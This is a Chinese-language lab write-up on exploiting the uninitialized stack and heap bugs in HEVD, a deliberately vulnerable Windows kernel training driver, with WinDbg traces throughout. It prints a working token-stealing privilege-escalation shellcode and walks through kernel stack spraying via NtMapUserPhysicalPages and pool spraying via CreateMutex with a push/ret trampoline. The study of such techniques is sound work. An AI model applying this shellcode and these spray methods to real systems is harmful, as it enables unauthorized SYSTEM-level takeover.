作者:k0shl
來源:http://whereisk0shl.top/hevd-kernel-exploitation-uninitialized-stack-&-heap.html
0x00 前言
我是菜鳥,大牛們請噴T.T
HEVD是HackSys的一個Windows的訓練項目,是一個存在漏洞的內核的驅動,里面存在多個漏洞,通過ControlCode控制漏洞類型,這個項目的驅動里幾乎涵蓋了內核可能存在的所有漏洞,從最基礎的棧溢出,到池溢出,釋放后重用等等類型,是一個非常好的項目。非常適合我們熟悉理解Windows內核漏洞的原理,利用技巧等等。
項目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
項目可以通過WDK的build方法直接編譯,詳細編譯方法可以看《0day安全:軟件漏洞分析技術》中內核漏洞章第一節內容有介紹,也可以百度直接搜到,通過build方法可以編譯出對應版本的驅動.sys,然后通過osrloader工具注冊并加載,之后就可以通過Demo來進行調試和提權了。
在這個項目中包含了兩種漏洞類型,叫做Uninitialized Stack和Uninitialized Heap,分別是未初始化的棧和未初始化的堆,具體的漏洞形成原因可以通過閱讀HEVD項目的源碼和說明了解。大致漏洞形成的原因就是在驅動沒有對結構體進行初始化,從而導致可以通過提前覆蓋內核堆棧的方法控制關鍵結構體,在沒有進行初始化和結構體內容檢查的情況下,直接引用結構體的函數指針,最后可以通過提前覆蓋的方法控制結構題的函數指針,跳轉到提權shellcode,來完成提權。
這篇文章的內容不再分析漏洞成因,成因都非常簡單,我將就幾方面內容和大家一起分享一下學習成果,第一部分將分享一下HEVD項目中通用的提權shellcode,第二部分將跟大家分享一下j00ru提出的利用NtMapUserPhysicalPages進行kernel stack spray的方法,第三部分我將分享一下HEVD中的一個challenge,是關于未初始化堆空間利用的方法。
HEVD項目中,不僅提供了包含漏洞的驅動源碼,還包含了對應利用的Exploit,但是在Uninitialized Heap漏洞中提出了一個challenge。

下面我們一起來開始今天的學習之旅吧!
0x01 privilege Escalation Shellcode
關于提權的shellcode方法有很多,看過我之前對于CVE-2014-4113分析的小伙伴一定對替換token的這種方法比較熟悉,在我的那篇分析里,利用替換token這種shellcode是用C來實現的,當然,還有其他方法,比如將ACL置NULL這種方法,今天我還是給大家一起分享一下替換token這種方法,這種方法非常好用也非常常用,HEVD中替換shellcode的方法,是用內聯匯編完成的。
VOID TokenStealingPayloadWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
}
}
這種方法,首先會通過fs段寄存器獲取_KTHREAD結構題,fs段寄存器存放了關于線程的各種信息,當處于內核態時,fs的值為0x30,處于用戶態時fs值則為0x3b
kd> p
01352782 57 push edi
kd> p
01352783 60 pushad
kd> p
01352784 33c0 xor eax,eax
kd> p
01352786 648b8024010000 mov eax,dword ptr fs:[eax+124h]
kd> dd 0030:00000124
0030:00000124 859615c0
隨后獲取到KTHREAD之后,我們可以獲取到EPROCESS結構,這個結構中包含了PID等信息,最為關鍵的是,在內核中是以鏈表存放的,而這個鏈表就在_EPROCESS結構中。
kd> dd 859615c0+50
85961610 85a5e538 09000000 00000000 00000000
85961620 00000000 00000037 01000002 00000000
85961630 85961680 82936088 82936088 00000000
85961640 002e5ef3 00000000 7ffdd000 00000000
85961650 006a0008 00000000 859616c8 859616c8
85961660 6751178a 0000006e 00000000 00000000
85961670 00000000 00000000 00000060 82972b00
85961680 859617fc 859617fc 859615c0 843b0690
kd> dt _EPROCESS 85a5e538
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27c2c`295b0eb9
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000c64 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x8294a4f0 - 0x843d76a0 ]
一旦獲取了EPROCESS結構,我們能做很多事情,最簡單的,觀察偏移0xb4位置,存放著當前進程的PID,而0xb8位置,存放著一個LIST_ENTRY結構,這個結構存放著前面一個EPROCESS和后一個EPROCESS,這就很有意思了。
我可以通過這種方法,遍歷當前系統所有存在的EPROCESS,而且能夠找到System的EPROCESS,實際上,這個_EPROCESS,我們通過Windbg的!process 0 0的方法可以獲取到。
kd> dt _LIST_ENTRY 841bdad0+b8
urlmon!_LIST_ENTRY
[ 0x84e64290 - 0x8294a4f0 ]
+0x000 Flink : 0x84e64290 _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
+0x004 Blink : 0x8294a4f0 _LIST_ENTRY [ 0x841bdb88 - 0x85a5e5f0 ]
kd> dd 841bdad0+b8
841bdb88 84e64290 8294a4f0 00000000 00000000
841bdb98 00000000 00000000 0000000d 8293db40
841bdba8 00000000 00644000 00246000 00000000
841bdbb8 00000000 00000000 00000000 87a01be8
841bdbc8 87a0130b 00000000 00000000 00000000
841bdbd8 00000000 00000000 841de2e0 00000000
841bdbe8 00000005 00000040 00000000 00000000
841bdbf8 00000000 00000000 00000000 00000000
kd> dt _EPROCESS 84e64290-b8
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27bbd`9fafafa2
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000100 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
回到shellcode,后面有一個loop循環,在循環中做的事情就是不斷通過鏈表的前向指針和后向指針找到System的_EPROCESS結構,也就是+0xb4位置的PID為4的結構,在結構中存放著token,只要找到System的token,替換掉當前進程的token,就可以完成提權了。
0x02 NtMapUserPhysicalPages and Kernel Stack Spray
在下面的調試中,由于我多次重新跟蹤調試,所以每次申請的shellcode指針地址都不太一樣,但不影響理解。
在HEVD項目中涉及到一種方法,可以進行Kernel Stack Spray,其實在內核漏洞中,未初始化的堆棧這種漏洞相對少,而且在Windows系統中內核堆棧不像用戶態的堆棧,是共用的一片空間,因此如果使用Kernel Stack Spray是有一定風險的,比如可能覆蓋到某些其他的API指針。在作者博客中也提到這種Kernel Stack Spray是一種比較冷門的方法,但也比較有意思。這里我就和大家一起分析一下,利用NtMapUserPhysicalPages這個API完成內核棧噴射的過程。
為什么要用NtMapUserPhysicalPages,別忘了我們執行提權Exploit的時候,是處于用戶態,在用戶態時使用的棧地址是用戶棧,如果我們想在用戶態操作內核棧,可以用這個函數在用戶態來完成對內核棧的控制。
j00ru博客對應內容文章地址:http://j00ru.vexillium.org/?p=769
首先我們觸發的是Uninitialized Stack這個漏洞,在觸發之前,我們需要對內核棧進行噴射,這樣可以將shellcode函數指針覆蓋到HEVD.sys的結構體中。用到的就是NtMapUserPhysicalPages這個方法。
這個方法存在于ntkrnlpa.exe中,也就是nt!NtMapUserPhysicalPages,首先到達這個函數調用的時候,進入內核態,我們可以通過cs段寄存器來判斷,一般cs為0x8時處于內核態,為0x1b時處于用戶態。
kd> r cs
cs=00000008
kd> r
eax=00000000 ebx=00000000 ecx=01342800 edx=00000065 esi=85844980 edi=85bd88b0
eip=95327d10 esp=8c1f197c ebp=8c1f1aa8 iopl=0 nv up ei ng nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000292
在此之前,內核棧的情況如下圖:

注意esp和ebp,現在處于內核棧中,這時候,我們可以通過對內核棧下寫入斷點,這樣在向棧寫入數據,也就是棧噴射時會中斷。
kd> g
nt!memcpy+0x33:
82882393 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,在nt!memcpy中斷,這時候執行的是一處拷貝操作,這時候通過kb查看一下堆棧回溯。
kd> kb
ChildEBP RetAddr Args to Child
94d12af4 82b2131b 94d12c20 003b09f8 00001000 nt!memcpy+0x33
94d12b34 82b1f58d 94d12c20 00000000 00b1fcb8 nt!MiCaptureUlongPtrArray+0x3f
94d13c20 82886db6 00000000 00000400 003b09f8 nt!NtMapUserPhysicalPages+0x9e
94d13c20 77ca6c74 00000000 00000400 003b09f8 nt!KiSystemServicePostCall
可以看到,函數的調用是NtMapUserPhysicalPages -> MiCaptureUlongPtrArray -> memcpy,來看一下這個過程的函數實現,首先是nt!NtMapUserPhysicalPages
NTSTATUS __stdcall NtMapUserPhysicalPages(PVOID BaseAddress, PULONG NumberOfPages, PULONG PageFrameNumbers)
if ( (unsigned int)NumberOfPages > 0xFFFFF )
return -1073741584;
BaseAddressa = (unsigned int)BaseAddress & 0xFFFFF000;
v33 = ((_DWORD)NumberOfPages << 12) + BaseAddressa - 1;
if ( v33 <= BaseAddressa )
return -1073741584;
v4 = &P;//棧地址
v39 = 0;
v37 = &P;
if ( PageFrameNumbers )
{
if ( !NumberOfPages )
return 0;
if ( (unsigned int)NumberOfPages > 0x400 )//如果要超過1024,就要擴展池,不過這里不用
{
v4 = (char *)ExAllocatePoolWithTag(0, 4 * (_DWORD)NumberOfPages, 0x77526D4Du);
v37 = v4;
if ( !v4 )
return -1073741670;
}
v5 = MiCaptureUlongPtrArray((int)NumberOfPages, (unsigned int)PageFrameNumbers, v4);//v4 要拷貝的目標 內核棧 a2,要覆蓋的EoPBuffer 長度是4*NumberOfPages
對應的注釋已經標記,在函數中調用了MiCaptureUlongPtrArray,會將傳入NtMapUserPhysicalPages的參數,長度也就是NumberOfPages,內容也就是PageFrameNumbers(詳情請參考Exploit中的UninitializedStackVariable.c),然后進入MiCaptureUlongPtrArray。
int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx@1
v3 = 4 * a1;
if ( v3 )
{
if ( a2 & 3 )
ExRaiseDatatypeMisalignment();
if ( v3 + a2 > (unsigned int)MmUserProbeAddress || v3 + a2 < a2 )
*(_BYTE *)MmUserProbeAddress = 0;
}
memcpy(a3, (const void *)a2, v3);
return 0;
}
進入后,會將shellcode的內容拷貝到a3,也就是&P,內核棧中。
kd> p
nt!memcpy+0x35:
82882395 ff2495ac248882 jmp dword ptr nt!memcpy+0x14c (828824ac)[edx*4]
kd> dd 94d139e4
94d139e4 00c62800 00c62800 00c62800 00c62800
94d139f4 00c62800 00c62800 00c62800 00c62800
94d13a04 00c62800 00c62800 00c62800 00c62800
94d13a14 00c62800 00c62800 00c62800 00c62800
94d13a24 00c62800 00c62800 00c62800 00c62800
memcpy之后,可以看到棧地址空間被噴射上了shellcode的指針,接下來觸發漏洞,關于觸發的原理閱讀HEVD.sys源碼很清晰,這里不詳細介紹,大致就是當傳入的UserValue,和漏洞的MagicValue不一樣的情況下,就可以引發未初始化變量。
kd> p
HEVD+0x2cac:
95327cac 8b95ecfeffff mov edx,dword ptr [ebp-114h]
kd> dd ebp-114
8c1f1994 baadf00d 01342800 01342800 01342800
8c1f19a4 01342800 01342800 01342800 01342800
8c1f19b4 01342800 01342800 01342800 01342800
8c1f19c4 01342800 01342800 01342800 01342800
8c1f19d4 01342800 01342800 01342800 01342800
8c1f19e4 01342800 01342800 01342800 01342800
8c1f19f4 01342800 01342800 01342800 01342800
在進入HEVD的Trigger函數之后,可以看到此時內核棧已經被覆蓋,這時候UserValue的值,也就是我們可控的值是baadf00d,隨后看一下StackVariable結構體的內容。
kd> p
HEVD+0x2ccc:
95327ccc e853d8ffff call HEVD+0x524 (95325524)
kd> r eax
eax=8c1f1998
kd> dd 8c1f1998
8c1f1998 01342800 01342800 01342800 01342800
8c1f19a8 01342800 01342800 01342800 01342800
8c1f19b8 01342800 01342800 01342800 01342800
8c1f19c8 01342800 01342800 01342800 01342800
隨后會對UserValue和MagicValue進行比較。
kd> p
HEVD+0x2cda:
95327cda 3b4de0 cmp ecx,dword ptr [ebp-20h]
kd> p
HEVD+0x2cdd:
95327cdd 7516 jne HEVD+0x2cf5 (95327cf5)
kd> r ecx
ecx=baadf00d
kd> dd ebp-20
8c1f1a88 bad0b0b0
UserValue是baadf00d,而HEVD.sys的MagicValue的值是bad0b0b0,不相等的情況下,不會對之前的StackVariable結構體中的成員變量初始化,而此時成員變量的值都被shellcode覆蓋,最后引用,導致在內核態進入shellcode。
kd> p
HEVD+0x2d33:
95327d33 ff95f4feffff call dword ptr [ebp-10Ch]
kd> dd ebp-10c
8c1f199c 01342800
01342800 55 push ebp
01342801 8bec mov ebp,esp
01342803 83e4f8 and esp,0FFFFFFF8h
01342806 83ec34 sub esp,34h
01342809 33c0 xor eax,eax
0134280b 56 push esi
0134280c 33f6 xor esi,esi
最后在內核態執行shellcode,替換當前進程token為System token,完成提權。

0x03 Uninitialized Stack & Heap
最后就是關于這次challenge了,其實這個challenge非常好理解,如果做過瀏覽器或者其他跟堆有關漏洞的小伙伴肯定第一時間想到的就是Heap Spray,沒錯,堆噴!
利用內核堆噴,我們可以完成對堆結構的控制,最后完成提權,在文章最后,我放一個我修改了UninitializedHeapVariable對應Exploit內容的項目地址,可以利用我的這個項目地址完成提權。
但是,內核堆噴和應用層的堆噴不太一樣,要解決兩個問題,第一個shellcode放在哪里,第二個如何在用戶態向內核堆進行噴射。
解決問題的關鍵在于NtAllocateVirtualMemory和CreateMutex,首先NtAllocateVirtualMemory對于內核熟悉的小伙伴肯定不會陌生,看過我前面兩篇內核調試學習的小伙伴也不會陌生,在很多內核漏洞利用場景中,都會用到這個函數,這個函數可以用來申請零頁內存,來完成shellcode的布局。
如何布局是一個問題,這里來看一下漏洞觸發位置的調用。
92319abd 83c408 add esp,8
92319ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
92319ac3 8b5104 mov edx,dword ptr [ecx+4]
92319ac6 ffd2 call edx {00460046}
如果我們能夠控制edx的話,這里調用的就是剛才通過NtAllocateVirtualMemory申請的內存,這里可以直接往這里面存放shellcode,可是我從老外那學到了一種方法,就是獲取shellcode的函數入口指針,然后這里存放68+addr+c3的組合,這樣call調用后,執行的內容就是。
kd> t
00640066 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
這樣,相當于將shellcode入口指針入棧,esp變成shellcode指針,然后ret,之后就會跳轉到shellcode中執行shellcode,這樣對于NtAllocateVirtualMemory布局操作就簡單很多。
這樣,我們只需要申請一個零頁空間就行了。
kd> dd 00460046
00460046 35278068 0000c301
布置上我們的push shellcode addr;ret
然后就是關鍵的CreateMutex,這個會創建互斥體,我們申請多個互斥體,完成對堆的布局。
kd> p
KernelBase!CreateMutexA+0x19:
001b:75961675 e809000000 call KernelBase!CreateMutexExA (75961683)
kd> dd esp
0099e73c 00000000 0099f788 00000001 001f0001
0099e74c 0099f81c 0110320e 00000000 00000001
0099e75c 0099f788 9c1c5b57 00000000 00000000
0099e76c 00000000 00000000 00000000 00000000
0099e77c 00000000 00000000 00000000 00000000
0099e78c 00000000 00000000 00000000 00000000
0099e79c 00000000 00000000 00000000 00000000
0099e7ac 00000000 00000000 00000000 00000000
kd> dc 99f788
0099f788 46464646 67716870 656d7568 6e6c7961 FFFFphqghumeayln
0099f798 7864666c 63726966 78637376 77626767 lfdxfircvscxggbw
0099f7a8 716e666b 77787564 6f666e66 7273767a kfnqduxwfnfozvsr
0099f7b8 706a6b74 67706572 70727867 7976726e tkjprepggxrpnrvy
0099f7c8 776d7473 79737963 70716379 6b697665 stmwcysyycqpevik
0099f7d8 6d666665 6d696e7a 73616b6b 72737776 effmznimkkasvwsr
0099f7e8 6b7a6e65 66786379 736c7478 73707967 enzkycxfxtlsgyps
0099f7f8 70646166 00656f6f 9c1c5b57 0099e760 fadpooe.W[..`...
申請多個互斥體后,可以看到對池空間的控制。可以看到,第一個參數是mutexname,這個前面必須包含46,這樣才能進行函數調用后,在pool中覆蓋到00460046的值。
kd> r eax
eax=a6630b38
kd> !pool a6630b38
Pool page a6630b38 region is Paged pool
a6630000 size: 100 previous size: 0 (Allocated) IoNm
a6630100 size: 8 previous size: 100 (Free) 0.4.
a6630108 size: 128 previous size: 8 (Allocated) NtFs
a6630230 size: 8 previous size: 128 (Free) Sect
a6630238 size: 18 previous size: 8 (Allocated) Ntf0
a6630250 size: 38 previous size: 18 (Allocated) CMVa
a6630288 size: 68 previous size: 38 (Allocated) FIcs
a66302f0 size: f8 previous size: 68 (Allocated) ObNm
a66303e8 size: 138 previous size: f8 (Allocated) NtFs
a6630520 size: 100 previous size: 138 (Allocated) IoNm
a6630620 size: 128 previous size: 100 (Free) ObNm
a6630748 size: 68 previous size: 128 (Allocated) FIcs
a66307b0 size: 380 previous size: 68 (Allocated) Ntff
*a6630b30 size: f8 previous size: 380 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
這里a6630b30中包含了8字節的pool header,和0xf0的nopage pool,通過CreateMutex,我們會對kernel pool占用。
kd> dd a6630b38
a6630b38 00000000 00460046 00780069 00620074
a6630b48 0074006b 00770065 00630071 006a0078
a6630b58 00740065 00720063 00730061 006a007a
a6630b68 006e0065 00790070 006a0064 00680061
a6630b78 00710067 00660072 006c007a 0079006f
a6630b88 007a0075 0068006f 00760074 006a0078
a6630b98 006b0063 00730073 00750064 00770077
可以看到,現在頭部結構已經被00460046占用,接下來,還是由于UserValue和MagicValue的原因,引發Uninitialized Heap Variable。
kd> g
Breakpoint 1 hit
HEVD+0x299e:
9231999e ff1598783192 call dword ptr [HEVD+0x898 (92317898)]
kd> p
HEVD+0x29a4:
923199a4 8945dc mov dword ptr [ebp-24h],eax
kd> dd eax
889f8610 00000000 00460046 00780069 00620074
kd> dd 00460046
00460046 35278068 0000c301
隨后由于池中結構體的內容未初始化,內核池中存放的還是我們通過CreateMutex布置的內容,直接引用會跳轉到我們通過NtAllocateVirtualMemory申請的空間。
kd> p
HEVD+0x2ac0:
95327ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
kd> p
HEVD+0x2ac3:
95327ac3 8b5104 mov edx,dword ptr [ecx+4]
kd> r ecx
ecx=a86c5580
kd> p
HEVD+0x2ac6:
95327ac6 ffd2 call edx
kd> t
00460046 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
kd> p
011414b0 53 push ebx
011414b0 53 push ebx
011414b1 56 push esi
011414b2 57 push edi
011414b3 60 pushad
011414b4 33c0 xor eax,eax
011414b6 648b8024010000 mov eax,dword ptr fs:[eax+124h]
011414bd 8b4050 mov eax,dword ptr [eax+50h]
011414c0 8bc8 mov ecx,eax
隨后push shellcode之后,esp的值被修改,直接ret會跳轉到shellcode address,執行提權。

最后我貼上更新后的項目代碼。
https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Source_with_Unin_Heap_Variable_Chall
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/200/
暫無評論